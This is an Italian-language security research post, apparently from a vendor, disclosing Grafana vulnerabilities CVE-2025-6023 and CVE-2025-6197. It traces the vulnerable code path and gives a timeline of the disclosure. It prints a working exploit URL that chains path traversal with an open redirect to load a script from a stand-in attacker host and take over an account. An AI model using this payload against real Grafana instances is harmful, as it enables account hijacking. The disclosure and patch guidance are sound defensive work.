Grafana è una piattaforma open-source leader per la visualizzazione, l'analisi e il monitoraggio dei dati, che consente agli utenti di creare dashboard interattivi aggregando dati da più fonti. Con oltre 68.000 stelle su GitHub e milioni di download tramite Docker Hub e altri repository, Grafana è diventato un componente fondamentale dei moderni stack di monitoraggio in tutti i settori.
La sua ampia adozione e il suo ruolo critico nel monitoraggio delle infrastrutture rendono Grafana un obiettivo primario per gli attori delle minacce. La sua protezione è essenziale per proteggere l'integrità e la disponibilità degli ambienti di monitoraggio nelle aziende.
Noi di OPSWAT contribuiamo attivamente alla comunità della sicurezza ricercando e divulgando responsabilmente le vulnerabilità di piattaforme ampiamente utilizzate come Grafana. Nel 2021, CVE-2021-39226, una vulnerabilità critica è stata scoperta e divulgata responsabilmente da TheBlackTurtle, un membro dell'Unità 515OPSWAT .
Oltre a questi contributi, l OPSWAT promuove la prossima generazione di talenti della sicurezza informatica attraverso iniziative di formazione pratica. Uno di questi programmi è l'OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, che fornisce agli studenti un'esperienza pratica nell'identificazione e nell'analisi delle minacce alla sicurezza del mondo reale. Nell'ambito di questo programma, una nuova vulnerabilità critica di Grafana, CVE-2025-6023, è stata scoperta da uno dei nostri borsisti durante un progetto di ricerca indipendente.
Programma di borse di studio OPSWAT e scoperta di vulnerabilità critiche
Il programma OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, con sede in Vietnam, offre a studenti laureati un'esperienza pratica nella sicurezza delle infrastrutture critiche. I borsisti collaborano attivamente con gli esperti di cybersicurezza OPSWAT per affrontare le sfide del mondo reale in materia di rilevamento di malware, sicurezza dei file e prevenzione delle minacce.
Nell'ambito di questo rigoroso programma, i partecipanti ricercano, riproducono e analizzano sistematicamente le vulnerabilità note (CVE) in una varietà di prodotti software, librerie e sistemi operativi sotto la guida di esperti OPSWAT . Hoa X. Nguyen, uno dei nostri illustri borsisti, ha scelto Grafana come obiettivo del suo progetto di ricerca principale.
Nel giugno 2025, durante una revisione approfondita di CVE-2025-4123 e un'analisi più approfondita del codice sorgente di Grafana, Hoa X. Nguyen ha identificato una vulnerabilità precedentemente sconosciuta all'interno della piattaforma. Il problema consisteva nel concatenare una falla di reindirizzamento aperto con una vulnerabilità di attraversamento del percorso lato client (CSPT), che alla fine ha portato al Cross-Site Scripting (XSS) e all'acquisizione completa dell'account tramite un altro endpoint di Grafana.
Collaborando a stretto contatto con l'Unità 515, abbiamo scoperto non solo una, ma due catene di exploit distinte che potevano portare alla completa compromissione dell'account.
OPSWAT ha continuato a contribuire attivamente segnalando responsabilmente le vulnerabilità a Grafana. I problemi sono stati prontamente riconosciuti e le patch sono state rilasciate nelle versioni successive. A queste vulnerabilità sono state successivamente assegnate le sigle CVE-2025-6023 e CVE-2025-6197 e da allora sono state elencate pubblicamente nel National Vulnerability Database (NVD).
Timeline di CVE-2025-6023 e CVE-2025-6197
- 11 giugno 2025:Hoa X. Nguyen ha identificato una vulnerabilità nell'ultima versione di Grafana e ha inviato una segnalazione di sicurezza a Grafana.
- 11 giugno 2025: Dopo la discussione, Grafana ha confermato la vulnerabilità e ha assegnato a CVE-2025-6023 una gravità elevata.
- 17 giugno 2025:Dat Phung dell'Unità 515 ha lavorato a stretto contatto con Hoa X. Nguyen e ha scoperto un'altra catena di attacchi che sfrutta la vulnerabilità.
- 17 giugno 2025: Grafana ha confermato la seconda vulnerabilità e ha assegnato a CVE-2025-6197 una gravità media.
- 17 luglio 2025: Grafana ha rilasciato 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 e 11.3.8+security-01, introducendo una patch migliorata che risolve efficacemente queste vulnerabilità.
- 18 luglio 2025: Il National Vulnerability Database (NVD) ha divulgato ufficialmente CVE-2025-6023 e CVE-2025-6197.


Analisi tecnica della patch incompleta e di CVE-2025-6023
Nel maggio 2025, Alvaro Balada ha rivelato CVE-2025-4123, una vulnerabilità ad alta gravità in Grafana. La falla combinava l'attraversamento del percorso lato client con un reindirizzamento aperto, consentendo agli aggressori di fornire plugin front-end dannosi che eseguono JavaScript arbitrari all'interno del contesto fidato di Grafana, con conseguente acquisizione completa dell'account. Nei casi in cui l'accesso anonimo era abilitato, non era richiesta l'autenticazione. Inoltre, se il plugin Grafana Image Renderer era installato, l'exploit poteva passare a SSRF, esponendo servizi interni o metadati del cloud.
Grafana ha affrontato il problema con aggiornamenti di sicurezza nel maggio 2025, introducendo patch nelle versioni 12.0.0+security01, 11.6.1+security01, e altre nei rami 10.x-11.x. Le correzioni includevano miglioramenti alla Content Security Policy (CSP) e una sanitizzazione più rigorosa dei redirect.
Nell'ambito del programma OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, Hoa X. Nguyen ha condotto un'analisi completa di CVE-2025-4123. La sua ricerca ha riguardato il reverse-engineering del flusso di exploit e la valutazione dell'efficacia della patch fornita. Durante questa indagine, Hoa ha osservato che, sebbene la vulnerabilità sia fondamentalmente una combinazione di reindirizzamento aperto e attraversamento del percorso lato client, la patch per CVE-2025-4123 ha affrontato solo il reindirizzamento aperto nello staticHandler, attraverso un controllo di sanitizzazione dei dati introdotto nel commit {ff20b06}.

Tuttavia, questa mitigazione parziale ha lasciato inalterato il vettore di attacco principale. Il rischio di fondo rimaneva: se un aggressore fosse riuscito a identificare un endpoint alternativo vulnerabile ai reindirizzamenti aperti, la stessa catena di exploit avrebbe potuto continuare a esistere ed essere utilizzata per eseguire l'acquisizione completa dell'account, anche dopo la patch. Tenendo presente questa ipotesi, Hoa ha condotto una revisione approfondita del codice sorgente di Grafana. In questo modo ha identificato un altro endpoint vulnerabile: /user/auth-tokens/rotate.
Questo endpoint è progettato per rigenerare i token di autenticazione scaduti. Un parametro di query redirectTo viene utilizzato per far navigare l'utente verso la pagina di destinazione dopo che il token è stato rinnovato con successo.

In un'implementazione tipica, l'URL di reindirizzamento è costruito concatenando il valore di configurazione Cfg.AppSubURL con il parametro redirectTo fornito dall'utente. Tuttavia, nella configurazione predefinita di Grafana, AppSubURL non è definito. Di conseguenza, l'applicazione si basa esclusivamente sul valore grezzo di redirectTo per formare il percorso di reindirizzamento.
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
Per questo meccanismo di reindirizzamento, Grafana tenta di ridurre i rischi di sicurezza associati all'input fornito dall'utente attraverso una funzione di validazione chiamata ValidateRedirectTo, che ha lo scopo di bloccare gli obiettivi di reindirizzamento non sicuri, come quelli che iniziano con //example.com, disabilitando i doppi slash all'inizio del percorso:

Tuttavia, come dimostrato nella ricerca originale di Alvaro Balada, questa funzione può essere aggirata utilizzando una barra in avanti seguita da una barra rovesciata (ad esempio, /example.com), che i browser moderni interpretano in modo simile a //example.com. Di conseguenza, il seguente payload può essere utilizzato per ottenere un reindirizzamento aperto, supponendo che l'utente sia autenticato:
/utente/auth-tokens/rotate?redirectTo=/example.com

Questa scoperta di Hoa X. Nguyen, insieme al rimedio incompleto per CVE-2025-4123, dimostra che l'acquisizione completa di un account Grafana rimane possibile.
Dopo aver scoperto questo bypass, OPSWAT ha prontamente segnalato il problema al team di sviluppo di Grafana. In risposta, Grafana aveva già identificato la precedente mitigazione come incompleta attraverso discussioni interne e aveva pianificato di risolvere il problema in una prossima release prima della nostra segnalazione. Di conseguenza, la nostra segnalazione è stata accettata con l'assegnazione di un nuovo CVE per la vulnerabilità open redirect scoperta, classificata con gravità media.
CVE-2025-6023: Una nuova catena di exploit che consente l'acquisizione completa dell'account
CVE-2025-4123 ha originariamente evidenziato una vulnerabilità CSPT (client-side path traversal) all'interno dell'applicazione front-end plugin di Grafana. Nella sua relazione iniziale, Hoa X. Nguyen ha combinato questo problema CSPT noto con una falla di reindirizzamento aperto scoperta di recente per creare una catena di exploit efficace. Nonostante l'impatto critico dimostrato, alla vulnerabilità è stata assegnata solo una gravità media, poiché Grafana aveva già riconosciuto internamente la natura incompleta della patch prima della divulgazione di CSPT.
Ciò ha indotto a indagare più a fondo sull'esistenza di ulteriori falle CSPT all'interno della base di codice di Grafana che, se combinate con la vulnerabilità open redirect appena scoperta, potrebbero consentire una catena di exploit completamente indipendente. Se tale vulnerabilità CSPT venisse riscontrata su un endpoint diverso, potrebbe giustificare l'assegnazione dello stesso livello di gravità elevato di CVE-2025-4123.
Scoperta di un nuovo Endpoint vulnerabile
Motivato da questa ipotesi, Hoa ha condotto un'analisi approfondita del codice sorgente di Grafana. Durante questa analisi, ha identificato un ulteriore endpoint vulnerabile che consentiva il recupero dinamico e l'esecuzione di script da fonti arbitrarie, senza un'adeguata convalida o sanitizzazione degli input. Questo comportamento insicuro è associato alla funzionalità di scripting della dashboard di Grafana, gestita in particolare attraverso il seguente percorso:
/dashboard/:type/:slug
Questo percorso viene elaborato dal middleware responsabile della gestione degli script della dashboard. In particolare, il parametro :slug viene utilizzato per caricare ed eseguire script dinamicamente, senza un'adeguata sanificazione, consentendo agli aggressori di creare URL dannosi e potenzialmente ricreare una catena di exploit simile a quella di CVE-2025-4123.
Analisi del meccanismo di scripting del cruscotto
Il meccanismo di scripting del cruscotto di Grafana utilizza il componente DashboardPageProxy per gestire le richieste corrispondenti al percorso /dashboard/:type/:slug:

All'interno del DashboardPageProxy, il flusso di esecuzione procede come segue:

Il risultato restituito da DashboardPageProxy deriva dall'esecuzione del metodo stateManager.fetchDashboard(), che accetta i parametri uid, type e slug estratti dal percorso URL. Per analizzare come viene costruita questa risposta, Hoa X.Nguyen ha esaminato l'oggetto stateManager e la logica del suo metodo fetchDashboard(). Lo stateManager viene istanziato tramite la funzione getDashboardScenePageStateManager(), definita nel file seguente:
/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts

Poiché lo stateManager viene inizializzato invocando la funzione getDashboardScenePageStateManager() senza alcun argomento, come illustrato nella Figura 2, si può concludere che l'oggetto restituito è un'istanza della classe UnifiedDashboardScenePageStateManager.
Pertanto, per comprendere il comportamento del metodo fetchDashboard(), ha analizzato la sua implementazione all'interno della classe UnifiedDashboardScenePageStateManager:

Nella classe UnifiedDashboardScenePageStateManager, il metodo fetchDashboard() richiama innanzitutto la funzione withVersionHandling(). Questa funzione è responsabile della determinazione e della restituzione dell'istanza di activeManager. Una volta costruito l'activeManager , viene richiamato il corrispondente metodo fetchDashboard() su tale istanza, passando il relativo parametro options.
L'istanza di activeManager è un oggetto DashboardScenePageStateManager o DashboardScenePageStateManagerV2. Entrambe le classi implementano una logica simile per il recupero dei dati del dashboard. Il codice seguente è tratto dalla classe DashboardScenePageStateManager:

Nel metodo fetchDashboard() della classe DashboardScenePageStateManager, viene utilizzata un'istruzione switch per determinare la logica di gestione appropriata in base al tipo di percorso. Nel caso predefinito, il metodo chiama:
dashboardLoaderSrv.loadDashboard(type, slug, uid, query)
Questa chiamata avvia il processo di caricamento del cruscotto richiesto. L'implementazione di riferimento della funzione loadDashboard() si trova nel file seguente:
/public/app/features/dashboard/services/DashboardLoad

All'interno della funzione loadDashboard(), vengono eseguiti diversi controlli condizionali per determinare il flusso di elaborazione appropriato. Nel caso specifico in cui il tipo sia impostato su "script" e sia presente uno slug, la funzione richiama:
this.loadScriptedDashboard(slug)
In questo caso, lo slug - proveniente direttamente dall'input dell'utente - viene passato come parametro al metodo loadScriptedDashboard(). Per valutare il flusso di esecuzione e le possibili vulnerabilità introdotte da questa chiamata, Hoa ha analizzato l'implementazione di loadScriptedDashboard() all'interno della classe DashboardLoaderSrvBase:

Nel metodo loadScriptedDashboard(), il parametro slug - illustrato nella Figura 2 - viene trattato come un nome di file (stringa) e utilizzato per costruire l'url url per costruire la variabile url. Tuttavia, questo parametro non viene sanificato correttamente. L'implementazione applica un'espressione regolare per sostituire tutti i caratteri punto (.), tranne quelli immediatamente seguiti da"js", con una barra in avanti (/). Questo filtraggio parziale non riesce a sanificare correttamente l'input, rendendolo suscettibile di attacchi di manipolazione e attraversamento dei percorsi.
Una volta costruito l'URL, lo script tenta di caricare la dashboard specificata invocando getBackendSrv().get(url). Lo script recuperato viene quindi eseguito utilizzando this.executeScript(code).
Questa analisi ha portato Hoa X. Nguyen a identificare una nuova vulnerabilità Client-Side Path Traversal (CSPT) nell'ultima versione di Grafana. A causa della mancanza di sanitizzazione o convalida dell'input, un utente malintenzionato può manipolare lo slug per creare un URL che carica ed esegue uno script dannoso da una fonte esterna, replicando il problema principale precedentemente identificato in CVE-2025-4123 tramite il caricamento di script del dashboard.
Se combinato con la vulnerabilità del reindirizzamento aperto recentemente scoperta, questo problema consente una catena di exploit completa in grado di ottenere l'acquisizione completa dell'account. Un esempio di payload che dimostra questo exploit è il seguente:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
Ad esempio:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js
Il file malicious.js potrebbe essere creato per cambiare l'indirizzo e-mail e il nome utente della vittima in quelli controllati dall'aggressore. Ciò consentirebbe all'aggressore di avviare un processo di reimpostazione della password al proprio indirizzo e-mail, con conseguente acquisizione completa dell'account:

Prova di concetto per CVE-2025-6023
Questo video illustra l'impatto pratico di CVE-2025-6023, dimostrando uno scenario di acquisizione di un account completo che colpisce gli utenti di Grafana, scoperto da Hoa X. Nguyen, OPSWAT:
Mitigazione e guida
Per mitigare le vulnerabilità discusse sopra, assicuratevi che il vostro sistema sia aggiornato all'ultima versione di Grafana.
MetaDefender Core , utilizzando il motore SBOM, è in grado di rilevare questa vulnerabilità.
OPSWAT MetaDefender Core, dotato di funzionalità SBOMSoftware Bill of Materials) avanzate, consente alle organizzazioni di adottare un approccio proattivo nell'affrontare i rischi per la sicurezza. Esaminando le applicazioni software e le loro dipendenze, MetaDefender Core identifica le vulnerabilità note, come CVE-2025-6023 e CVE-2025-6197, all'interno dei componenti elencati. In questo modo i team di sviluppo e di sicurezza sono in grado di dare priorità alle attività di patch, mitigando i potenziali rischi per la sicurezza prima che possano essere sfruttati da attori malintenzionati.
Di seguito è riportata una schermata di CVE-2025-6023 e CVE-2025-6197, rilevate da MetaDefender Core con SBOM:

Inoltre, i CVE possono essere rilevati anche da MetaDefender Software Supply Chainche sfrutta MetaDefender Core con SBOM per identificare queste vulnerabilità.

